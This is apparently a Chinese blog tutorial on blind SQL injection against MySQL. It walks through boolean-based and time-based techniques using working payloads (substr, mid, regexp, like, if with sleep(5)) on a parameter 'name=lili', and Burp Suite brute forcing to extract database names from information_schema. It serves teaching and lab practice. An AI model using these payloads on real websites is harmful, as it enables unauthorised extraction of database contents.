SQL注入-盲注(布尔盲注与时间盲注)

2023-11-03

目录

一、什么是盲注

二、盲注的分类

三、利用盲注的前提条件

四、盲注的优缺点

五、基于布尔类型的盲注

1.什么情况下使用布尔类型的盲注

 2.使用布尔类型盲注的操作步骤:

3.布尔类型盲注的操作过程(以获取当前数据库为例)

 4.使用其他函数进行布尔类型的盲注(演示获取当前数据库)

4.1  left()函数:

4.2 mid()函数:

4.3 正则表达式 regexp : 

4.4 like函数:

4.5 if语句 :

 六、基于时间类型的盲注

1.何时利用时间类型的盲注:

2.时间类型盲注的注意事项

3.基于时间盲注的演示 


一、什么是盲注

盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。

通俗的讲就是在前端页面没有显示位,不能返回sql语句执行错误的信息,输入正确和错误返回的信息都是一致的,这时候我们就需要使用页面的正常与不正常显示来进行sql注入。

二、盲注的分类

  • 基于布尔类型的盲注
  • 基于时间类型的盲注

三、利用盲注的前提条件

首先页面没有显示位(如果有显示位可以选择union联合查询),并且没有返回sql语句的执行错误信息。

四、盲注的优缺点

优点:不需要显示位和出错信息。

缺点:速度慢,耗费时间长(可以用到bp等工具)。

五、基于布尔类型的盲注

1.什么情况下使用布尔类型的盲注

  • 没有返回SQL执行的错误信息
  • 错误与正确的输入,返回的结果只有两种

 错误页面:

正确页面:

 2.使用布尔类型盲注的操作步骤:

  1. 构造目标查询语句
  2. 选择拼接方式
  3. 构造判断表达式
  4. 提取数据长度
  5. 提取数据内容

3.布尔类型盲注的操作过程(以获取当前数据库为例)

在SQL注入过程中,由于没有显示位于报错信息,所以会用到截取字符串函数进行数据的提取,所往往需要一个一个字符去猜。

第一步:获取当前数据库的长度

payload为:lili' and length((select database()))=7--+

查看返回结果(需要自己试,也可以是用bp工具,也可以使用“>”,“<”符号):

当输入其他数字时,查看返回结果:

 第二步:获取当前数据库库名(获取前三个字符,数据量太大,需要用到bp工具)

开启burp suite

payload为:lili' and substr((select database()),1,1)='a'--+

substr为截取字符串函数,第一个参数为我们的SQL语句,第二个参数1表示从第一个字符开始,第三个参数表示截取一个字符。并且该字符为a。

通过bp工具暴力破解

 

 

 

 通过上述方法即可获得当前数据库库名。

3.2获取所有数据库库名

第一步,获取字符长度

payload为:name=lili' and  length((select group_concat(schema_name)from information_schema.schemata))=1--+

开启bp

 

 

 第二步,获取所有数据库库名

这边可以选择狙击手模式(sniper)也可以选择集束炸弹模式(cluster bomb),狙击手模式需要手动修改参数,集束炸弹模式对电脑配置要求比较高,此处演示集束炸弹模式

 

 

 

 根据破解的结果可以知道相应的答案

 4.使用其他函数进行布尔类型的盲注(演示获取当前数据库)

4.1  left()函数:

语法:left (string,n) string为要截取的字符串,n为长度。

payload:name=lili' and left((select database()),1)='p'--+

4.2 mid()函数:

语法:mid(string, start[, length]) column_name为要提取字符的字段,start为开始截取位置(起始值是1),length为截取的长度(可选,默认余下所有字符)

char(x)函数:将x的值转为所对应的字符

payload:name=lili' and mid((select database()),1,1)=char(112)--+

4.3 正则表达式 regexp : 

正则表达式语法: regexp ^[a-z] 表示字符串中第一个字符是在 a-z范围内。regexp ^a 表示字符串第一个字符是a。regexp ^ab 表示字符串前两个字符是ab。

payload:name=lili' and  (select database()) regexp '^p'--+ 

4.4 like函数:

语法:Like 'a%'表示字符串第一个字符是a。

           Like 'ab%'表示字符串前两个字符是ab。

%表示为任意值

payload:name=lili' and  (select database()) like 'p%'--+

4.5 if语句 :

语法:if(判断条件,正确返回的值,错误返回的值)

注意数据库中的if与后端if不一样

payload:name=lili' and 1= if(((select database())like 'p%'),1,0)--+ 

表示如果if语句中的第一个参数为真,则输出第一个值1,不为真输出第二个值0;

 六、基于时间类型的盲注

1.何时利用时间类型的盲注:

页面上没有显示位和SQL语句执行的错误信息,正确执行和错误执行的返回界面一样,此时需要使用时间类型的盲注。

时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用IF语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。

2.时间类型盲注的注意事项

  1. 通常使用sleep()等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。
  2. 为了提高效率,通常在表达式判断为真时执行延时语句。
  3. 时间盲注语句拼接时无特殊要求,保证语法正确即可。

3.基于时间盲注的演示 

1.通过时间线判断sql语句是否执行

 2.通过添加sleep函数判断:

payload:name=lili'and sleep(5)--+    执行成功时间线为5s

 payload:name=lili''and sleep(5)--+    执行失败时间线为32ms

3.通过时间盲注获取当前数据库

第一步:

首先需要获取数据库长度

payload:name=lili'and if(length((select database()))=7,sleep(5),0)--+

根据时间线判断可知数据库的字符长度为7

 第二步:

获取当前数据库的库名

payload:name=lili'and if(substr((select database()),1,1)='p',sleep(5),0)--+

根据时间线判断当前数据库的库名的第一个符为‘p’

 也可以使用上边布尔类型盲注的其他函数执行。

 

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入-盲注(布尔盲注与时间盲注) 的相关文章

随机推荐

  • linux内核调试环境的搭建(使用qemu)

    这里说明下 本人调试的内核版本是2 6 11 12 为什么去调试这么 古老 的版本 原因不多说了 你手头也许正拿着ULK3 而它针对的内核版本正是2 6 11 有比这更好的理由吗 而且这个版本不算旧 已不算新 我认为还算不错 想想当下还有如
  • 我的计算机管理里面没有家庭组,Win10控制面板没有家庭组怎么解决?

    我们经常在使用电脑的时候经常会用到家庭组这个功能 家庭组使用起来非常方便的功能 但是最近很多的用户们反映Win10家庭组功能在控制面板找不到了 这个问题我们要怎么解决呢 下面小编为大家带来详细的解决教程介绍 快来看看吧 Win10控制面板没
  • 七牛云 composer 文件上传、删除、请除缓存操作

    class QiniuUp extends ModelBasic private AccessKey private SecretKey private bucket private auth function construct pare
  • DBCP连接池参数

    DBCP连接池参数说明如下 1 maxActive 10 表示并发情况下最大可从连接池中获取的连接数 2 maxIdle 5 如果在并发时达到了maxActive 10 那么连接池就必须从数据库中获取10个连接来供应用程序使用 当应用程序关
  • [1187]win环境2026, SSL connection error: unknown error number

    先贴上详细的报错信息 PS D test orchard liang gt python manage py sqlmigrate app 0001 Traceback most recent call last File D Python
  • python复习

    python复习 文章目录 python复习 一 Python基础笔试题 1 什么是变量 2 python和CPython是什么关系 3 如何生成一个整数序列 4 表达式与语句的主要区别是什么 5 Python的基础数据类型有哪些 6 在P
  • [RK3568][Android11]内核Oops日志分析

    文章目录 一 什么是内核oops 二 内核oops信息 三 工具调试内核oops 3 1 gdb list command 3 2 addr2line 3 3 objdump 一 什么是内核oops Linux内核在发生kernel pan
  • 如何在Linux下开发

    ctrl alt t打开命令行 输入vi 文件名 c 一 VI的使用 VI有两种模式 一种是命令行模式 一种是输入模式 命令行模式 这个是默认模式 VI之后就是这个模式 如果我们要从输入模式回到命令行模式 按下esc 待INSERT消失 我
  • 解决ubuntu不能远程连接

    1 查看当前是否安装了ssh server服务 dpkg l grep ssh 2 安装ssh server服务 sudo apt get install openssh server
  • 将你的STM32搞成Arduino(一)

    接触STM32有一年半了从刚开是的懵懂无知到现在的拉个库就是干 我慢慢的发现STM3功能的强大已经配套环境的完整程序 他不像是51单片机那样已经被intel抛弃 之后也没人出一个官方的库 一切都是纯生的需要自己搭建 STM32标准库已经为你
  • Java接口关系树状图

    圆形 接口 矩形 表示对象 向上的蓝色箭头 接口继承关系 乡下的蓝色箭头 依赖关系
  • 正则知识点滴

    s S 与 的区别 s S 支持跨行匹配
  • Ubuntu下使用ls命令显示文件颜色相关内容及修改

    lt 转载自 http pcyoyo com p 465 gt 在Ubuntu下 使用ls命令显示目录下文件及文件夹时会先显示不同颜色 如下图所示 如果知道了不同颜色分别代表的含义 那么对于我们查看目录下文件信息方便了很多 所以就搜索了一下
  • css实现:after中使用图片

    先看一下效果 下面是代码实现 xin position relative font size 20rpx color 15bf5d border 1rpx dashed ccc padding top 20rpx xin after con
  • pg常用插件

    pg软件包自带插件 前言 pg的插件是基于库的 pg的数据字典介绍 1 pg stat statements插件 Pg stat statements 是一个扩展 而不是核心数据库的一部分 它是一个contrib 扩展 随 postgres
  • 推荐一个冷门又逆天的副业(Python兼职可月入15k+)

    最近在论坛上看到一个测试 特扎心 以下三种情况 哪个让你最绝望 发薪日开心三分钟 各种家庭花销和贷款过一遍立马所剩无几 被领导骂到哭 因为没钱不敢裸辞 公司业绩不好 自己更是活成了一个小透明 薪资拿的少 还要随时担心被新人优化 说实话 我真
  • DirectX11 简介+环境配置

    文章目录 前言 获取SDK 安装 项目环境配置 创建项目 链接库 方法一 方法二 前言 DX11是Win7的产物 它是09年发布的 可谓是非常古老 那么为什么我们还要学习呢 这是为了给下一步的DX12做准备 如果你是Win10用户 且安装了
  • JAVA代码编写哈夫曼编码实现数据和文件的压缩和解压算法

    压缩算法思路 1 将待压缩的字符串变成字节数组 byte contentBytes 2 将字节数组每个字符出现的次数统计出来变为Node类 value为字符对应的Ascci码 weight为字符出现的次数也是哈夫曼树的权值 存入List集合
  • Kibana导出csv数据

    适用版本 ElasticSearch 6 8 0 Kibana 6 8 0 导出CSV文件配置 kibana配置文件 添加以下配置 xpack reporting csv maxSizeBytes 209715200 csv文件大小 默认为
  • SQL注入-盲注(布尔盲注与时间盲注)

    目录 一 什么是盲注 二 盲注的分类 三 利用盲注的前提条件 四 盲注的优缺点 五 基于布尔类型的盲注 1 什么情况下使用布尔类型的盲注 2 使用布尔类型盲注的操作步骤 3 布尔类型盲注的操作过程 以获取当前数据库为例 4 使用其他函数进行